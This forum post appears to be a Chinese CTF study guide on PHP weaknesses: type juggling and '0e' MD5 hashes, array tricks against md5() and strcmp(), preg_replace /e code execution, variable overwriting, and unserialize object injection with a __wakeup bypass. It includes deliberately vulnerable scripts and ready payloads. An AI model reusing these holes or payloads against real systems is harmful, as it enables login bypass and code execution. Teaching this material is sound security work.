查看: 94|回复: 0

CTF中常见的PHP知识点

[复制链接]

1

主题

2

帖子

4

积分

新手上路

Rank: 1

积分
4
发表于 2023-3-29 22:10:29 | 显示全部楼层 |阅读模式
一、前言

PHP 是服务器端脚本语言,比较松散,既方便,但也容易出现一些问题。本文主要概括常见的PHP弱类型、正则表达式、反序列化、伪协议、容易出现漏洞的函数和变量覆盖等的内容,在CTF这方面也经常出现在代码审计相关的题目中。
二、弱类型

"=="与"==="的区别

  • 在PHP中===表示全等运算符,而==表示等于运算符;
  • 如果等于运算符两边的值相等,则返回true,而如果全等运算符两边的值相且类型相等,才返回true。
在使用"=="时会自动转换类型,而"==="则是校验类型,而非转换。
示例:

<?php
if (2=='2'){
  echo "2=='2' " . 'true';
  echo "<br />";
}
else{
  echo "2=='2' " . 'false';
  echo "<br />";
}
if (2=='2abcd'){
  echo "2=='2abcd' " . 'true';
  echo "<br />";
}
else{
  echo "2=='2abcd' " . 'false';
  echo "<br />";
}
if (2=='a2bcd'){
  echo "2=='a2bcd' " . 'true';
  echo "<br />";
}
else{
  echo "2=='a2bcd' " . 'false';
  echo "<br />";
}
if (0=='abcd'){
  echo "0=='abcd' " . 'true';
  echo "<br />";
}
else{
  echo "0=='abcd' " . 'false';
  echo "<br />";
}
if (0==='abcd'){
  echo "0=='abcd' " . 'true';
  echo "<br />";
}
else{
  echo "0=='abcd' " . 'false';
  echo "<br />";
}
?>
运行结果:
2=='2' true
2=='2abcd' true
2=='a2bcd' false
0=='abcd' true
0=='abcd' false
结论:

数值与字符串比较(==)时,字符串会发生自动类型转换,字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
Hash比较
使用"=="时,如果字符串满足0e\d+,解析为科学计数法(0的多少次方都为0),否则视为字符串。
(\d+表示匹配一个或多个数字)

示例:

<?php
if ('0e1234567'=='0e765436100123'){
  echo 'true' . '<br />';
}
else{
  echo 'false' . '<br />';
}
if ('0e1326abc'=='0e1326akff'){
  echo 'true' . '<br />';
}
else{
  echo 'false' . '<br />';
}
if (md5('240610708')==md5('QNKCDZO')){
  echo 'true' . '<br />';
}
?>
运行结果:
true
false
true
以0e开头的字符串的MD5值:

md5(QNKCDZO):0e830400451993494058024219903391
md5(s155964671a):0e342768416822451524974117254469
md5(s214587387a):0e848240448830537924465865611904
md5(s878926199a):0e545993274517709034328855841020
md5(s1091221200a):0e940624217856561557816327384675
md5(s1885207154a):0e509367213418206700842008763514
md5(s878926199a):0e545993274517709034328855841020
md5(s214587387a):0e848240448830537924465865611904
MD5绕过实践1
<?php
include("./include.php");
highlight_file(__FILE__);
if(isset($_GET["v1"]) && isset($_GET['v2'])){
  $islogin = true;
  $v1 = $_GET['v1'];
  $v2 = $_GET['v2'];
  if (!ctype_alpha($v1)){$islogin = false;}
  if(!is_numeric($v2)){$islogin = false;}
  if(md5($v1)!=md5($v2)){$islogin = false;}
  if($islogin){
    echo $flag;
  }
  else{
    echo "failed!";
  }
}
?>
思路:找两个“0e”开头的字母和数字字符串。
payload:?v1=QNKCDZO&v2=240610708
MD5绕过实践2
<?php
include("./flag.php");
highlight_file(__FILE__);
if(isset($_GET['md5'])){
  $md5 = $_GET['md5'];
  if($md5==md5($md5)){
    echo $flag;
  }
  else{
    echo htmlspecialchars($md5) . "is not the same as " . md5($md5);
  }
}
?>
代码的逻辑:接收一个“md5”的参数,然后对这个参数进行md5计算,如果计算的md5值与输入的参数相等,就可以通过验证。
JSON绕过实践3

<?php
include("./flag.php");
highlight_file(__FILE__);
if(isset($_POST['message'])){
  $message = json_decode($_POST['message']);
  $key = '******';
  if($message->key == $key){
    echo "Correct! Here is flag:" . $flag;
  }
  else{
    echo "Try to guess again";
  }
}
else{
  echo "You need to post the right data!";
}
?>
代码逻辑:接收一个POST方法的数据,然后调用json_decode将数据解码,如果解码后的key值等于预先定义好的变量$key值,就可以拿到flag。
payload:message={"key":0}
is_numeric()函数当有两个is_numeric判断并用and连接时,and后面的is_numeric可以绕过,"="优先级比and高。
<?php
$a = $_GET['a'];
$b = $_GET['b'];
$c = is_numeric($a) and is_numeric($b);
var_dump(is_numeric($a));
var_dump(is_numeric($b));
var_dump($c); //$b可以不是数字,同样返回true
$test = true and false;
var_dump($test); //返回true
?>
http://localhost/demo.php?a=1&b=s测试结果:
D:\phpstudy_pro\WWW\demo.php:5:boolean true
D:\phpstudy_pro\WWW\demo.php:6:boolean false
D:\phpstudy_pro\WWW\demo.php:7:boolean true
D:\phpstudy_pro\WWW\demo.php:9:boolean true
in_array(),array_search()函数boolin_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ),
如果strict参数没有提供或为false,那么in_array就会使用松散比较来判断$needle是否在$haystack中。当strict参数的值为true时,in_array()会比较needls的类型和haystack中的类型是否相同。
<?php
$array = [1,2,3,0,'3'];
var_dump(in_array('abcd', $array)); //true
var_dump(in_array('1bcd', $array)); //true
?>
switch()函数如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。
<?php
$a = '2abc';
switch($a){
  case0:
  case1:
  case2:
    echo'I is less than 3 but not negative' . '<br />';
  case3:
    echo'I is 3';
}
?>
运行结果:
Iis less than 3 but not negative
I is 3
strcmp()函数strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算。
在PHP5.3版本之后使用这个函数比较array跟sring会返回null。
<?php
if ((isset($_GET['v1'])) && isset($_GET['v2']) && isset($_GET['v3'])){
  $v1 = $_GET['v1'];
  $v2 = $_GET['v2'];
  $v3 = $_GET['v3'];
  if ($v1!=$v2 && md5($v1)==md5($v2)){
    if(!strcmp($v3,$flag)){
     echo$flag;
    }
  }
}
?>
利用php中的md5()函数漏洞和strcmp()函数漏洞。PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会 认为他们相同,都是0。同时MD5不能处理数组,有时也可以用数组绕过。同时strcmp()函数也可用数组绕过。
Payload1:?v1[]=1&v2[]=2&v3[]=1
Payload2:?v1=240610708&v2=QNKCDZO&v3[]=1
传入数组返回null系列md5()是不能处理数组的,md5(数组)会返回null,同理的有sha1(),strlen(),eregx()。
<?php
$array1[] = array('foo'=>'bar', 'bar'=>'foo');
$array2 = array('foo', 'bar', 'hello', 'world');
var_dump(md5($array1)); //null
var_dump(md5($array1)==var_dump($array2)); //true
?>
十六进制转换使用"=="时,PHP会将十六进制转换为十进制然后再进行比较。
<?php
var_dump("0x1e240" == "123456"); //true
echo"<br />";
var_dump("0x1e240" == 123456); //true
echo"<br />";
var_dump("0x1e240" == "1e240"); //false
?>
三、正则表达式

preg_match函数如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题。
<?php
$ip = '1.1.1.1 abcd';
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/", $ip)){
  die('error');
}
else{
  echo('key...');
}
?>
$ip可以绕过,运行结果:key...
ereg()函数字符串对比解析,当ereg读取字符串string时,%00后面的字符串不会被解析。
<?php
if(ereg("^[a-zA-Z]+$", $_GET['a'])===FALSE){
  echo'Your password must be alphabet';
}
echo'flag';
?>
eregi不区分大小写,ereg区分大小写。
preg_replace函数preg_replace()的第一个参数如果存在 /e 模式修饰符,则允许代码执行。
如果没有 /e 修饰符,可以尝试 %00 截断。
<?php
preg_replace("/test/e", $_GET['a'], "just test");
?>
?a=phpinfo(),运行结果:



四、变量覆盖

$$的使用$$变量即可变变量,将一个变量的值加上 $ 来作为 另一个变量的名字
演示代码:
<?php
$x = 'hello';
$$x = 666;
echo$x;
echo'<br />';
echo$$x;
echo'<br />';
echo$$x === $hello;
?>
运行结果:
hello
666
1
可变变量 $$x 将 $x 的值 hello 拿来拼接上 $ 变成了 $hello ,于是$$x === $hello ;
$$变量覆盖问题经常在php代码审计中与 foreach() 遍历数组来出题,本地漏洞利用 代码示例:
<?php
foreach(array('_GET', '_post') as $key){
  if($$key){
    var_dump($$key); # 输出 GET 或 POST 方式提交的数据
    foreach($$key as $key2 => $_value){
     $$key2 = $_value;
    }
  }
}
if(isset($flag)){
  if($flag === 'hack'){
    echo"goog job, this isflag{xxxxxx}";
  }else{
    echo"nothing here";
  }
}else{
  echo"no no no";
}
?>
使用 GET 或者 POST 方式传参,就能触发 $$ 变量覆盖, 显然, 当我们传入 ?flag=hack 时,php 首先将 get 传参变成数组赋给全局变量 $_GET = array(‘flag’ => 'hack’) ,经过第一次foreach 之后, $$key 就是$_GET , 而 $key2 = flag , $_vlaue = hack ;再经过第二次foreach 之后,$$key2 = $flag 。
此时便意外创建了一个变量为 $flag ,并且被赋值后$flag === ‘hack’ 形成漏洞。



parse_str()函数parse_str()函数用于把查询字符串解析到变量中,如果没有array参数,则由该函数设置的变量将覆盖已存在的同名变量。
在没有array参数的情况下使用此函数,
并且在PHP 7.2中将废弃不设置参数的行为,此函数没有返回值。
<?php
$a = "giao";
echo"a:" . $a;
echo"<br>";
$b = $_GET['b'];
parse_str($b);
echo"a_2:" . $a;
?>



extract()函数extract(array,extract_rules,prefix)函数
https://www.runoob.com/php/func-array-extract.html
该函数可以从数组中将变量导入到当前的符号表,即将数组中的键值对注册成函数,使用数组键名作为变量名,使用数组键值作为变量值。
这里我们要注意一下该函数的第二个参数
EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
这就为我们提供了覆盖的可能。
<?php
$a = 'a';
echo$a . '</br>';
extract($_GET);
echo$a;
?>
初始变量值为a但是覆盖之后就变成了我们输入的值:



五、PHP反序列化

相关概念serialize()函数——将PHP中的变量如对象(Object)、数组(Array)等序列化为字符串
unserialize()函数——将序列化的字符串转换为原先的值。
PHP反序列化漏洞,又称为对象注入,可能会导致远程代码执行(RCE)
当执行unserialize()函数时,会调用某一类执行其魔术方法,之后可以执行类中的函数,从而产生安全问题。
漏洞产生的前提:
1)unserialize()函数变量可控
2)存在可利用的类,类中有魔术方法
演示1利用反序列化输出$GLOBALS<?php
require_once('flag.php');
highlight_file(__FILE__);
classA{
  private$user = 'test';
  function__destruct(){
    if($this->user == 'admin'){
     var_dump($GLOBALS);
    }
  }
}
$data = $_GET['data'];
unserialize($data);
?>
反序列化后user为admin时输出$GLOBALS,输出当前php页面全局变量。
构造payload:test.php如下:
<?php
classA{
  private$user = 'admin';
}
echourlencode(serialize(newA()));
访问test.php:



获得url编码序列化后的值为:
O%3A1%3A%22A%22%3A1%3A%7Bs%3A7%3A%22%00A%00user%22%3Bs%3A5%3A%22admin%22%3B%7D,传给data后即可输出全局变量:



得到flag。
演示2__wakeup绕过在反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
影响版本
php5.0.0 ~ php5.6.25
php7.0.0 ~ php7.0.10
php语言的特性:在反序列化时,先执行__wakeup()魔术方法,才会执行__destruct()魔术方法。
构造payload.php文件:
<?php
classA{
  private$filename = 'flag.php';
}
echourlencode(serialize(newA));
?>
运行得到:
O%3A1%3A%22A%22%3A1%3A%7Bs%3A11%3A%22%00A%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
传给data后:



发现反序列化时修改的$filename的值在__wakeup()函数时由flag.php修改为了test.txt
将对象属性个数的值大于真实的属性个数时即可绕过:
O:1:"A":1:{s:11:"Afilename";s:8:"flag.php";}将标红的1修改为大于1的数字即可。



成功绕过,得到flag。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表